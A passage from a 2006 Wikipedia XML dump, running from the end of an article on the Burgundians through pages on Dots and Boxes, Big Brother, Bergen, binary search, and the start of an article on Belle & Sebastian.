As allies of Rome in its last decades, the Burgundians fought alongside [[Flavius_Aëtius|Aëtius]] and a confederation of Visigoths and others in the final defeat of [[Attila the Hun|Attila]] at the [[Battle of Chalons]] (also called &quot;The Battle of the Catalaunian Fields&quot;) in [[451]].  The alliance between Burgundians and Visigoths seems to have been strong, as Gundioc and his brother Chilperic I accompanied [[Theodoric II]] to Spain to fight the Sueves in [[455]]. (Jordanes, ''Getica'', 231)

====Aspirations to the Empire====
Also in 455, an ambiguous reference ''infidoque tibi Burdundio ductu'' ([[Sidonius Apollinaris]] in ''Panegyr. Avit''. 442.) implicates an unnamed treacherous Burgundian leader in the murder of the emperor [[Petronius Maximus]] in the chaos preceding the sack of Rome by the Vandals.  The Patrician [[Ricimer]] is also blamed; this event marks the first indication of the link between the Burgundians and Ricimer, who was probably Gundioc's brother-in-law and [[Gundobad]]'s uncle. (John Malalas, 374)

The Burgundians, apparently confident in their growing power, negotiated in [[456]] a territorial expansion and power sharing arrangement with the local Roman senators. (Marius of Avenches)

In [[457]], Ricimer overthrew another emperor, [[Avitus]], raising [[Majorian]] to the throne.  This new emperor proved unhelpful to Ricimer and the Burgundians.  The year after his ascension, Majorian stripped the Burgundians of the lands they had acquired two years earlier.  After showing further signs of independence, he was murdered by Ricimer in [[461]].

Ten years later, in [[472]], Ricimer&amp;ndash;who was by now the son-in-law of the Western Emperor Anthemius&amp;ndash;was plotting with Gundobad to kill his father-in-law; Gundobad beheaded the emperor (apparently personally). (''Chronica Gallica 511''; John of Antioch, fr. 209; Jordanes, ''Getica'', 239)  Ricimer then appointed [[Olybrius]]; both died, surprisingly of natural causes, within a few months.  Gundobad seems then to have succeeded his uncle as Patrician and king-maker, and raised [[Glycerius]] to the throne. (Marius of Avenches; John of Antioch, fr. 209)

In [[474]], Burgundian influence over the empire seems to have ended.  Glycerius was deposed in favor of [[Julius Nepos]], and Gundobad returned to Burgundy, presumably at the death of his father Gundioc.  At this time or shortly afterward, the Burgundian kingdom was divided between Gundobad and his brothers, Godigisel, Chilperic II, and Gundomar I. (Gregory, II, 28)

====Consolidation of the Kingdom====
According to [[Gregory of Tours]], the years following Gundobad's return to Burgundy saw a bloody consolidation of power.  Gregory states that Gundobad murdered his brother Chilperic, drowning his wife and exiling their daughters (one of whom was to become the wife of [[Clovis]] the [[Frank]], and was reputedly responsible for his conversion). (Gregory, II, 28)&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt;  This is contested, by e.g. Bury, who points out problems in much of Gregory's chronology for the events.

C.[[500]], when Gundobad and Clovis were at war, Gundobad appears to have been betrayed by his brother Godegisel, who joined the Franks; together Godegisel's and Clovis' forces &quot;crushed the army of Gundobad.&quot; (Marius a. 500; Gregory, II, 32)  Gundobad was temporarily holed up in Avignon, but was able to re-muster his army and sacked Vienne, where Godegisel and many of his followers were put to death.  From this point, Gundobad appears to have been the sole king of Burgundy. (e.g., Gregory, II, 33)  This would imply that his brother Gundomar was already dead, though there are no specific mentions of the event in the sources.

Either Gundobad and Clovis reconciled their differences, or Gundobad was forced into some sort of vassalage by Clovis' earlier victory, as the Burgundian king appears to have assisted the Franks in [[507]] in their victory over [[Alaric II]] the Visigoth.

During the upheaval, sometime between [[483]]-[[501]], Gundobad began to set forth the ''Lex Gundobada'' (see below), issuing roughly the first half, which drew upon the ''Lex Visigothorum''. (Drew, p. 1)  Following his consolidation of power, between 501 and his death in [[516]], Gundobad issued the second half of his law, which was more originally Burgundian.

===The Fall of the Second Kingdom===
The Burgundians were extending their power over southeastern [[Gaul]]; that is, northern [[Italy]], western [[Switzerland]], and southeastern [[France]]. In 493 [[Clovis I|Clovis]], king of the Franks, married the Burgundian princess Clotilda, daughter of Chilperic.

At first allies with [[Clovis I|Clovis]]' [[Franks]] against the [[Visigoths]] in the early [[6th century]], the Burgundians were eventually conquered by the Franks in [[534]]&amp;nbsp;CE. The Burgundian kingdom was made part of the [[Merovingian]] kingdoms, and the Burgundians themselves were by and large absorbed as well.

==The Burgundian Laws==
The Burgundians left three [[legal code]]s, among the earliest from any of the Germanic tribes.

The '''[[Lex Gundobada|Liber Consitutionum sive Lex Gundobada]]''' (''The Book of the Constitution following the Law of Gundobad''), also known as the ''Lex Burgundionum'', or more simply the '''Lex Gundobada''' or the ''Liber'', was issued in several parts between 483 and 516, principally by Gundobad, but also by his son, Sigismund. (Drew, p. 6-7)  It was a record of Burgundian customary law and is typical of the many Germanic law codes from this period.  In particular, the ''Liber'' borrowed from the ''[[Lex Visigothorum]]'' (Drew, p. 6) and influenced the later ''[[Lex Ribuaria]]''. (Rivers, p. 9)  The ''Liber'' is one of the primary sources for contemporary Burgundian life, as well as the history of its kings.

Like many of the Germanic tribes, the Burgundians' legal traditions allowed the application of separate laws for separate ethnicities.  Thus, in addition to the ''Lex Gundobada'', Gundobad also issued (or codified) a set of laws for Roman subjects of the Burgundian kingdom, the ''[[Lex Romana Burgundionum]]'' (''The Roman Law of the Burgundians'').

In addition to the above codes, Gundobad's son Sigismund later published the ''Prima Constitutio''.  &lt;!--''&amp;ndash;I have been unable to find a source for this &amp;ndash;[[User:Ryanmcdaniel|Ryan McDaniel]]'' --&gt;

==Origin of Burgundy==
The name of the Burgundians has since remained connected to the area of modern France that still bears their name: see the later history of [[Burgundy]]. Between the 6th and 20th centuries, however, the boundaries and political connections of this area have changed frequently; none of those changes have had anything to do with the original Burgundians. The name ''Burgundians'' used here and generally used by English writers to refer to the Burgundes is a later formation and more precisely refers to the inhabitants of the territory of Burgundy which was named from the people called Burgundes.  The descendants of the Burgundians today are found primarily among the French-speaking [[Swiss]] and neighbouring regions of France.

==See also==
''For later legends of the Burgundian kings, see'' '''[[Nibelung]]'''.

''For a list of Kings of Burgundy, see'' '''[[King of Burgundy]]'''.

==Notes==
&lt;cite id=&quot;#fn_1&quot;&gt;[[#fn_1_back|Note 1:]] Gregory was somewhat of a Frankish apologist, and commonly discredits the enemies of Clovis by attributing to them some fairly shocking acts.  As with Godegisel, he also commonly refers to the treachery of Clovis' allies, when in fact Clovis seems to have bought them off (e.g., in the case of the Ripuarians).  Additionally, Gregory's chronology of the events surrounding Clovis and Gundobad has been questioned by Bury, Shanzer, and Wood, among others.  As such, his contributions here should probably be taken with a grain of salt.

==References==
*Bury, J.B. ''The Invasion of Europe by the Barbarians.'' London: Macmillan and Co., 1928.
*Dalton, O.M. ''The History of the Franks, by Gregory of Tours.'' Oxford: The Clarendon Press, 1927.
*Drew, Katherine Fischer.  ''The Burgundian Code.''  Philadelphia: University of Pennsylvania Press, 1972.
*Gordon, C.D. ''The Age of Attila.'' Ann Arbor: University of Michigan Press, 1961.
*Murray, Alexander Calder. ''From Roman to Merovingian Gaul.'' Broadview Press, 2000.
*Musset, Lucien. ''The Germanic Invasions: The Making of Europe AD 400-600.'' University Park, PA: The Pennsylvania State University Press, 1975.
*Nerman, Birger. ''Det svenska rikets uppkomst''. Generalstabens litagrafiska anstalt: Stockholm. 1925.
*Rivers, Theodore John.  ''Laws of the Salian and Ripuarian Franks.''  New York: AMS Press, 1986.
*Rolfe, J.C., trans, ''Ammianus Marcellinus.'' Cambridge, MA: Harvard University Press, 1950.
*Shanzer, Danuta. ‘Dating the Baptism of Clovis.’ In ''Early Medieval Europe,'' volume 7, pages 29-57. Oxford: Blackwell Publishers Ltd, 1998.
*Shanzer, D. and I. Wood.  ''Avitus of Vienne: Letters and Selected Prose.  Translated with an Introduction and Notes.''  Liverpool: Liverpool University Press, 2002.
*Werner, J. (1953). &quot;Beiträge sur Archäologie des Attila-Reiches&quot;, ''Die Bayerische Akademie der Wissenschaft. Abhandlungen.'' &lt;small&gt;N.F. XXXVIII&amp;nbsp;A&lt;/small&gt; Philosophische-philologische und historische Klasse. Münche
*Wood, Ian N. ‘Ethnicity and the Ethnogenesis of the Burgundians’. In Herwig Wolfram and Walter Pohl, editors, ''Typen der Ethnogenese unter besonderer Berücksichtigung der Bayern,'' volume 1, pages 53–69. Vienna: Denkschriften der Österreichische Akademie der Wissenschaften, 1990.
*Wood, Ian N. ''The Merovingian Kingdoms.'' Harlow, England: The Longman Group, 1994.

==External links==
*[http://family-of-man.com/CatalogEnglish/Europe/Ancient_Europe/burgundians.html Table of the house of Gundahar/Gundicar, 411 - 534]


[[Category:Ancient Germanic peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]
[[Category:History of the Germanic peoples]]

[[br:Burgonded]]
[[da:Burgundere]]
[[de:Burgunden]]
[[es:burgundio]]
[[fr:Burgondes]]
[[he:בורגונדים]]
[[it:Burgundi]]
[[nl:Bourgondiërs]]
[[pl:Burgundowie]]
[[pt:Burgúndios]]
[[ru:Бургунды]]
[[sv:Burgunder]]
[[uk:Бургунди]]
[[zh:勃艮第人]]</text>
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  <page>
    <title>Dots and Boxes</title>
    <id>4260</id>
    <revision>
      <id>41876039</id>
      <timestamp>2006-03-02T08:02:24Z</timestamp>
      <contributor>
        <ip>24.85.246.102</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Dots and Boxes''' (also known as '''Boxes''', '''Squares''', '''Square-it''', '''Dots and Dashes''', or '''Dots''') is a [[pencil and paper game]] for two players (or sometimes, more than two). In [[Mexico]] dots and boxes is called ''Timbiriche''.

[[Image:Dots-and-boxes.png|300px|right|thumb|Game of dots and boxes on the 2&amp;times;2 board.]]

Starting with an empty grid of dots, players takes turns adding a single horizontal or vertical line between two unjoined adjacent dots. A player who completes the fourth side of a box earns one point and takes another turn.  (The points are typically recorded by placing in the box an identifying mark of the player, such as an initial).  The game ends when no more lines can be placed. The winner of the game is the player with the most points.

The board may be of any size. 2&amp;times;2 boxes is good for beginners, and 6&amp;times;6 is good for experts. In games with an even number of boxes, it is conventional that if the game is tied then the win should be awarded to the second player (this offsets the advantage of going first).

The diagram on the right shows a game being played on the 2&amp;times;2 board. The second player (B) plays the mirror image of the first player's move, hoping to divide the board into two pieces and tie the game. The first player (A) makes a ''sacrifice'' at move 7; B accepts the sacrifice, getting one box. However, B must now add another line, and connects the center dot to the center-right dot, causing the remaining boxes to be joined together in a ''chain'' as shown at the end of move 8. With A's next move, A gets them all, winning 3&amp;ndash;1.

== Strategy ==
[[Image:dots-and-boxes-chains.png|300px|right|thumb|The double-cross strategy. Faced with position 1, a novice player would create position 2 and lose. An experienced player would create position 3 and win.]]

Beginners play more or less at random until all the remaining boxes are joined together into ''chains'', whereupon any move gives away all the boxes in a chain to the opponent. A novice player faced with a situation like position 1 in the diagram on the right, in which some boxes can be captured, takes all the boxes in the chain, resulting in position 2. But with the extra move, player A has to open the next chain, and loses the game 4&amp;ndash;5.

An experienced player faced with position 1 instead plays the ''double-cross strategy'', taking all but 2 of the boxes in the chain: see position 3. This leaves the last two boxes in the chain for their opponent, but then the ''opponent'' has to open the next chain. By moving to position 3 player A wins 7&amp;ndash;2.

The double-cross strategy applies however many long chains there are. Take all but two of the boxes in each chain, but take all the boxes in the last chain. If the chains are long enough then you'll win. So between experts, dots and boxes becomes a battle for ''control''. An expert player tries to force their opponent to be the one who starts the first long chain.

In [[combinatorial game theory]] dots and boxes is very close to being an [[impartial game]] and many positions can be analyzed using [[Sprague-Grundy theorem|Sprague-Grundy theory]].

== Unusual grids ==
Dots and boxes need not be played on a rectangular grid.  It can be played on a triangular grid or a hexagonal grid.

Dots-and-boxes has a dual form called &quot;strings-and-coins&quot;.  This game is played on a network of coins (vertices) joined by strings (edges).  Players take turns to cut a string.  When a cut leaves a coin with no strings, the player pockets the coin and takes another turn.  The winner is the player who pockets the most coins.  Strings-and-coins can be played on an arbitrary [[graph (mathematics)|graph]].

A variant played in Poland allows a player to claim a region of several squares as soon as its boundary is completed.
&lt;!-- (judging by the article on the Polish wikipedia, at least) --&gt;

== References ==
* {{cite book|author=[[Elwyn Berlekamp]]|title=The Dots-and-Boxes Game: Sophisticated Child's Play|publisher=AK Peters, Ltd|year=July, 2000|id=ISBN 1568811292}}
* {{MathWorld|urlname=DotsandBoxes|title=Dots and Boxes}}
* David Wilson, [http://homepages.cae.wisc.edu/~dwilson/boxes/ Dots-and-Boxes Analysis].  Contains computer analysis of small boards.
* Ilan Verdi, [http://cf.geocities.com/ilanpi/dots.html Dots Strategies].

== External links ==

*Play Dots-and-Boxes online: [http://www.well.com/user/argv/java/dots.html well.com], [http://games.yahoo.com/games/login2?page=dt Yahoo], [http://www.littlegolem.net LittleGolem].

* Freeware Windows versions of Dots and Boxes: [http://www.ossiemanners.co.uk ossiemanners.co.uk].

* Online version of Dots and Boxes: [http://www.athey-educational.co.uk/games/game5/game5.htm]

*[http://www.geocities.com/alpine_rick_2000/index.html Connect Capture] A simple game of strategy that combines Dots and Boxes with Chess.

[[Category:Abstract strategy games]]
[[Category:Mathematical games]]
[[Category:Paper and pencil games]]

[[de:Käsekästchen]]
[[es:Timbiriche (juego)]]
[[pl:Kreski_(gra)]]</text>
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  </page>
  <page>
    <title>Big Brother (1984)</title>
    <id>4261</id>
    <revision>
      <id>40620543</id>
      <timestamp>2006-02-21T21:57:34Z</timestamp>
      <contributor>
        <username>Markeer</username>
        <id>499010</id>
      </contributor>
      <comment>See Discussion</comment>
      <text xml:space="preserve">{{spoiler}}
'''&quot;Big Brother&quot;''' is an enigmatic [[dictator]] in a [[totalitarianism|totalitarian]] state taken to its utmost logical consequence. In the society that Orwell describes, everybody is under complete [[surveillance]] by the authorities. The people are constantly reminded of this by the phrase &quot;Big Brother is watching you&quot;, which is the core &quot;truth&quot; of the [[propaganda]] system in this state.

The physical description of &quot;Big Brother&quot; is reminiscent of [[Joseph Stalin]] or [[Horatio Kitchener, 1st Earl Kitchener of Khartoum|Lord Kitchener]].  In the novel, it is not clear if he actually exists as a person, or is an image crafted by the state. However, since Inner Party [[torturer]] [[O'Brien (book character)|O'Brien]] at one point tells [[Winston Smith]] that Big Brother can never die, the implication is probably that Big Brother is merely the Party personified. In a book supposedly written by the rebel Goldstein (but later revealed to have a more complex origin) it is stated that &quot;nobody has ever seen Big Brother. He is a face on the hoardings, a voice on the telescreen&amp;hellip; Big Brother is the guise in which the Party chooses to exhibit itself to the world. His function is to act as a focusing point for love, fear, and reverence, emotions which are more easily felt towards an individual than towards an organization.&quot; ''(See [[Goldstein's book]])''

In Party propaganda, however, Big Brother is presented as a real person, who was one of the founders of the Party along with [[Emmanuel Goldstein]]. His real name is never mentioned and it is not publicly known. 

Since the publication of ''Nineteen Eighty-Four'', the phrase &quot;Big Brother&quot; has entered general usage, to describe any overly-inquisitive or overly-controlling authority figure or attempts by government to increase surveillance. The [[reality TV]] program ''[[Big Brother (television)|Big Brother]]'' takes its name from ''[[Nineteen Eighty-Four]]'' and a similarly named figure is [[big mama]] &amp;mdash; the informal name for the internet censor on web boards in the [[People's Republic of China]].

==Purported origins of Big Brother==
In the essay section of his novel [[Nineteen Eighty-Five|1985]], [[Anthony Burgess]] states that Orwell got the idea for '''Big Brother''' from advertising hoardings current during [[World War Two]] for educational [[correspondence course]]s run by a company called ''Bennett's''. 

The original posters are claimed to have shown Mr Bennett himself - a kindly looking old man offering guidance and support to would-be students, with the slogan '''&quot;Let me be your father.&quot;''' 

When Mr Bennett died his company was inherited by his son, whose rather aggressive-looking face appeared on the posters instead, accompanied by the unappealing slogan: '''&quot;Let me be your big brother&quot;'''.

The ideological basis for Big Brother likely comes from [[Leo Tolstoy|Leo Tolstoy's]] novel [[War and Peace]], particularly the discussion of the science of history in part two of that book's epilogue. [[Napoleon I of France|Napoleon Bonaparte]] and various other military and political figures traditionally revered as geniuses, are presented in the theory of history Tolstoy opposes as the cause of the movement of humanity and nations. Orwell appears to call upon this previous work by his invention of just such a patriarchal figure. 

The historical background during which Orwell wrote his work included several national leaders who had held considerable power, including [[British prime minister]] [[Winston Churchill]], [[US president]] [[Franklin D. Roosevelt]], and [[Soviet Union|Soviet]] leader [[Joseph Stalin]].  Stalin, among other leaders, is often claimed to have developed a [[personality cult]] around himself.

==See also==
*[[Personality cult]]
*[[Mass surveillance]]


[[Category:Nineteen Eighty-Four]]
[[Category:Surveillance]]
[[Category:Characters in written fiction]]

[[bg:Голям брат]]
[[cs:Velký bratr]]
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  </page>
  <page>
    <title>Bergen</title>
    <id>4262</id>
    <revision>
      <id>42038199</id>
      <timestamp>2006-03-03T10:52:53Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cs, ru</comment>
      <text xml:space="preserve">{{TOCright}}
'''Bergen''':
==Places==
There are several places named '''Bergen''':
* [[Bergen, Norway]], the second largest city in Norway
* Bergen, Belgium, better known by its French name of [[Mons]]
===Germany===
** [[Bergen, Hessen]] 
** [[Bergen, Lower Saxony]]
** [[Bergen, Mecklenburg-Western Pomerania]]
** [[Bergen-Belsen_concentration_camp|Bergen-Belsen]], a concentration camp near Bergen, Lower Saxony
===Netherlands===
** [[Bergen, North Holland]], including [[Bergen aan Zee]]
** [[Bergen, Limburg]]
** [[Bergen op Zoom]]
===United States===
** [[Bergen (town), New York]]
** [[Bergen (village), New York]]
** [[Bergen, Wisconsin]]
** [[Bergen County, New Jersey]]

==Things==
* A '''bergen''' is also a type of [[backpack|rucksack]] used by the [[British Armed Forces]]. This name is most likely a [[Corruption_(grammar)|bastardization]] of the [[trademark]] name ''Bergans'', a [[Norway|Norvegian]] manufacturer of backpacks and outdoor equipment.
* [[Bergen Brunswig]] Corp.
* [[Bergen (geography)]] - Bergen is a very common placename

== People ==

* [[Candice Bergen]]
* [[Edgar Bergen]] ([[Edgar John Bergen]])

== See also ==

* [[Bergenfield, New Jersey]]
* [[Bergenroth]]
* [[Berg]], [[Berger]]

{{disambig}}

[[Category:Place names]]
[[Category:Surnames]]

[[cs:Bergen]]
[[de:Bergen (Begriffsklärung)]]
[[fr:Bergen]]
[[it:Bergen (disambigua)]]
[[nl:Bergen]]
[[pl:Bergen (strona ujednoznaczniająca)]]
[[ro:Bergen (dezambiguizare)]]
[[ru:Берген (значения)]]</text>
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  </page>
  <page>
    <title>BAB</title>
    <id>4263</id>
    <revision>
      <id>41892450</id>
      <timestamp>2006-03-02T12:14:41Z</timestamp>
      <contributor>
        <username>Hardouin</username>
        <id>70570</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''BAB''' may refer to:

* [[Bayonne]]-[[Anglet]]-[[Biarritz]], a [[Communauté d'agglomération]] (an [[Communes in France#Intercommunality|intercommunal]] entity) of south west [[France]]
* [[List_of_motorways_in_Germany|Bundesautobahn]], the name of motorways in Germany, which translates as federal motorway.
* [[Beale Air Force Base]] (IATA airport code: '''BAB''') in Marysville, California, United States 
* [[British Aikido Board]], the governing body of [[Aikido]] in Britain

See also '''[[Báb]]''', a prophet of the [[Bahá'í Faith]].

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bahaullah</title>
    <id>4264</id>
    <revision>
      <id>15902547</id>
      <timestamp>2004-03-05T19:43:34Z</timestamp>
      <contributor>
        <username>Keldan</username>
        <id>23029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Bahá'u'lláh]]</text>
    </revision>
  </page>
  <page>
    <title>Bodes law</title>
    <id>4265</id>
    <revision>
      <id>15902548</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Titius-Bode law]]

</text>
    </revision>
  </page>
  <page>
    <title>Binary search algorithm</title>
    <id>4266</id>
    <revision>
      <id>40557425</id>
      <timestamp>2006-02-21T12:03:47Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: uk</comment>
      <text xml:space="preserve">A '''binary search algorithm''' (or '''binary chop''') is a [[computer science]] technique for finding a particular value in a linear array, by &quot;ruling out&quot; half of the data at each step. A binary search finds the median, makes a comparison to determine whether the desired value comes before or after it, and then searches the remaining half in the same manner. A binary search is an example of a [[divide and conquer algorithm]] (more specifically a decrease and conquer algorithm) and a [[dichotomic search]] (more at [[Search algorithm]]).

== The algorithm ==

The most common application of binary search is to find a specific value in a [[sorted list]]. To cast this in the frame of the guessing game (see Example below), realize that we are now guessing the ''index'', or numbered place, of the value in the list.

The search begins by examining the value in the center of the list; because the values are sorted, it then knows whether the value occurs before or after the center value, and searches through the correct half in the same way. Here is simple pseudocode which determines the index of a given value in a sorted list ''a'' between indices ''left'' and ''right'':

 '''function''' binarySearch(a, value, left, right)
     '''if''' right &lt; left
         '''return''' ''not found''
     mid := floor((left+right)/2)
     '''if''' a[mid] = value
         '''return''' mid
     '''if''' value &lt; a[mid]
         '''return''' binarySearch(a, value, left, mid-1)
     '''else
         '''return''' binarySearch(a, value, mid+1, right)

Because the calls are [[tail-recursive]], this can be rewritten as a loop, making the algorithm [[in-place algorithm|in-place]]:

 '''function''' binarySearch(a, value, left, right)
     '''while''' left &amp;le; right
         mid := floor((left+right)/2)
         '''if''' a[mid] = value
             '''return''' mid
         '''if''' value &lt; a[mid]
             right := mid-1
         '''else
             left  := mid+1
     '''return''' ''not found''

In both cases, the algorithm terminates because on each recursive call or iteration, the range of indexes &lt;code&gt;right&lt;/code&gt; minus &lt;code&gt;left&lt;/code&gt; always gets smaller, and so must eventually become negative.

Binary search is a [[logarithmic algorithm]] and executes in [[big O notation|O]](log n) time. Specifically, &lt;math&gt;1 + /log_2N&lt;/math&gt; iterations are needed to return an answer. It is considerably faster than a [[linear search]]. It can be implemented using [[recursion]] or [[iteration]], as shown above, although in many languages it is more elegantly expressed recursively.

== Examples ==

An example of binary search in action is a simple guessing game in which a player has to guess a positive integer selected by another player between 1 and ''N'', using only questions answered with yes or no. Supposing ''N'' is 16 and the number 11 is selected, the game might proceed as follows.

* Is the number greater than 8? (Yes)
* Is the number greater than 12? (No)
* Is the number greater than 10? (Yes)
* Is the number greater than 11? (No)

Therefore, the number must be 11. At each step, we choose a number right in the middle of the range of possible values for the number. For example, once we know the number is greater than 8, but less than or equal to 12, we know to choose a number in the middle of the range [9, 12] (either 10 or 11 will do).

At most &lt;math&gt;\lceil\log_2 N\rceil&lt;/math&gt; questions are required to determine the number, since each question halves the search space. Note that one less question (iteration) is required than for the general algorithm, since the number is constrained to a particular range.

Even if the number we're guessing can be arbitrarily large, in which case there is no upper bound ''N'', we can still find the number in at most &lt;math&gt;2\lceil \log_2 k \rceil&lt;/math&gt; steps (where k is the (unknown) selected number) by first finding an upper bound by repeated doubling. For example, if the number were 11, we could use the following sequence of guesses to find it:

* Is the number greater than 1? (Yes)
* Is the number greater than 2? (Yes)
* Is the number greater than 4? (Yes)
* Is the number greater than 8? (Yes)
* Is the number greater than 16? (No, N=16, proceed as above)
( We know the number greater than 8 )
* Is the number greater than 12? (No)
* Is the number greater than 10? (Yes)
* Is the number greater than 11? (No)

As one simple application, in [[revision control]] systems, it is possible to use a binary search to see in which revision a piece of content was added to a file.  We simply do a binary search through the entire version history; if the content is not present in a particular version, it appeared later, while if it is present it appeared at that version or sooner. This is far quicker than checking every difference.

== Language support ==

Many standard libraries provide a way to do binary search. [[C programming language|C]] provides &lt;code&gt;bsearch&lt;/code&gt; in its standard library. [[C++]]'s [[Standard Template Library|STL]] provides [[algorithm function]]s &lt;code&gt;[[lower_bound]]&lt;/code&gt; and &lt;code&gt;[[upper_bound]]&lt;/code&gt;. [[Java programming language|Java]] offers an overloaded &lt;code&gt;binarySearch()&lt;/code&gt; method for the class {{Javadoc:SE|package=java.util|java/util|Arrays}}.

==Applications to [[computational complexity theory|complexity theory]]==
Even if we do not know a fixed range the number ''k'' falls in, we can still determine its value by asking &lt;math&gt;2\lceil\log_2k\rceil&lt;/math&gt; simple yes/no questions of the form &quot;Is ''k'' greater than ''x''?&quot; for some number ''x''. As a simple consequence of this, if you can answer the question &quot;Is this integer property ''k'' greater than a given value?&quot; in some amount of time then you can find the value of that property in the same amount of time with an added factor of log ''k''. This is called a ''[[reduction (complexity)|reduction]]'', and it is because of this kind of reduction that most complexity theorists concentrate on [[decision problem]]s, algorithms that produce a simple yes/no answer.

For example, suppose we could answer &quot;Does this ''n'' x ''n'' matrix have [[determinant]] larger than ''k''?&quot; in O(''n''&lt;sup&gt;2&lt;/sup&gt;) time. Then, by using binary search, we could find the (ceiling of the) determinant itself in O(''n''&lt;sup&gt;2&lt;/sup&gt;log ''d'') time, where ''d'' is the determinant; notice that ''d'' is not the size of the input, but the size of the output.

==See also==
*[[Uniform binary search]]
* [[Big O notation]]

== External links ==

* [http://www.nist.gov/dads/HTML/binarySearch.html NIST Dictionary of Algorithms and Data Structures: binary search]
* Tim Bray. [http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary On the Goodness of Binary Search]. A short essay on the advantages of binary search and some Java sample code.
* [http://www.sparknotes.com/cs/searching/binarysearch/ Sparknotes: Binary search]. Simplified overview of binary search.
* [http://mathworld.wolfram.com/BinarySearch.html Mathworld: Binary search]
* [http://blogs.netindonesia.net/adrian/articles/6288.aspx Binary Search Implementation in Visual Basic .NET (partially in English)]

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Section 6.2.1: Searching an Ordered Table, pp.409&amp;ndash;426.

[[Category:Search algorithms]]

[[de:Binäre Suche]]
[[es:Búsqueda binaria]]
[[fr:Dichotomie]]
[[it:Ricerca dicotomica]]
[[he:חיפוש בינארי]]
[[ja:二分探索]]
[[pt:Pesquisa binária]]
[[ru:Двоичный поиск]]
[[sk:Binárne vyhľadávanie]]
[[fi:Puolitushaku]]
[[uk:Двійковий пошук]]</text>
    </revision>
  </page>
  <page>
    <title>Belle &amp; Sebastian</title>
    <id>4267</id>
    <revision>
      <id>42158844</id>
      <timestamp>2006-03-04T05:14:45Z</timestamp>
      <contributor>
        <ip>12.5.52.165</ip>
      </contributor>
      <comment>subject verb agreement (m)</comment>
      <text xml:space="preserve">{{otheruses4|a band named Belle &amp; Sebastian|for the TV and anime series|Belle et Sébastien}}

{{Infobox_band |
| band_name         = Belle &amp; Sebastian|
| image             = [[Image:BelleAndSebastian.jpg|220px]]|
| years_active      = 1996&amp;ndash;present|
| origin            = [[Glasgow]], [[Scotland]], [[United Kingdom|UK]]|
| music_genre       = [[Indie (music)|Indie]]|
| record_label      = [[Rough Trade Records]]&lt;br /&gt;[[Jeepster Records]]|
| current_members   = Stuart Murdoch&lt;br /&gt;Stevie Jackson&lt;br /&gt;Chris Geddes&lt;br /&gt;Sarah Martin&lt;br /&gt;Mick Cooke&lt;br /&gt;Bobby Kildea&lt;br /&gt;Richard Colburn|
|}}

'''Belle &amp; Sebastian''' are a band formed in [[Glasgow]], [[Scotland|Scotland]] in January [[1996]]. After releasing a number of albums and EPs on [[Jeepster Records]], they are now signed to [[Rough Trade Records]] in the United Kingdom and [[Matador Records]] in the United States. 

While commonly filed under &quot;[[twee pop]]&quot;, a description the band has rejected, Belle &amp; Sebastian have much in common with influential [[Indie (music)|indie]] bands such as [[The Smiths]] and [[Felt (band)|Felt]], and also take in other influences, such as northern soul and funk, that are not usually associated with twee.

==Lineup==
The current members of the band are:

*[[Stuart Murdoch (musician)|Stuart Murdoch]]: 1996&amp;ndash;present (vocals, guitar and keyboards)
*[[Stevie Jackson]]: 1996&amp;ndash;present (vocals and guitar)
*[[Chris Geddes]]: 1996&amp;ndash;present (keyboards)
*[[Richard Colburn]]: 1996&amp;ndash;present (drums)
*[[Sarah Martin (musician)|Sarah Martin]]: 1996&amp;ndash;present (violin and vocals)
*[[Mick Cooke]]: 1998&amp;ndash;present (trumpet and bass)
*[[Bobby Kildea]]: 2001&amp;ndash;present (guitar and bass)

Past members include:

*[[Isobel Campbell]]: 1996&amp;ndash;2002 (vocals and cello)
*[[Stuart David]]: 1996&amp;ndash;2000 (bass)

==History==

The band formed under the aegis of a training scheme and music business course. Built mostly around the creative mind of [[Stuart Murdoch (musician)|Stuart Murdoch]], their first album, ''[[Tigermilk]]'', was recorded as part of the course and released on the independent [[Electric Honey (label)|Electric Honey]] label.

Signing to the slightly larger Jeepster, they released the album ''[[If You're Feeling Sinister]]'' in [[1996]] and a sequence of [[EP (format)|EPs]] through [[1997]].  The group's third album, ''[[The Boy with the Arab Strap]]'' ([[1998]]), was a top-20 hit in the UK. The band was then proclaimed Best Newcomer at the [[1999]] [[Brit Awards]]. 1999 was also the year of the [[Bowlie Weekender]], a music festival curated by the band.

In July [[2002]] they announced the switch to [[Rough Trade Records]] (in the United States, the band were on [[Matador Records]] until the jump to Rough Trade, then returned to the Matador roster in late [[2005]]). The [[2003]] album ''[[Dear Catastrophe Waitress]]'' was shortlisted for the [[2004]] [[Mercury Music Prize]]. Although a staple on many college radio stations, the band has yet to break beyond this niche to achieve notable mainstream success in America. Their British chart history has been more steady and respectable. Mention of the band in ''[[High Fidelity]]'' and use of the band's songs in [[Todd Solondz]]'s [[2001]] film ''[[Storytelling]]'' indicated that Belle &amp; Sebastian's influence in the United States had started to spread beyond the [[indie rock]] ghetto, as did a second season episode of ''[[Gilmore Girls]]'' in which Lane Kim went to great lengths to acquire a new Belle &amp; Sebastian EP while grounded by her ultrastrict mother. A 2005 episode of the sitcom ''[[How I Met Your Mother]]'' that prominently referred to the band offered evidence that Belle &amp; Sebastian had finally become a mainstream reference point in U.S. [[pop culture]].

Presenting a slightly fey image to the public at large, Belle and Sebastian's bittersweet love songs inspire a fanatical loyalty amongst their fans, similar to that experienced by [[The Smiths]] during their heyday. Some of this loyalty is due to the fact that until [[2003]] the band did not include singles on their albums. Thus, being in possession of their complete discography is a mark of true devotion.

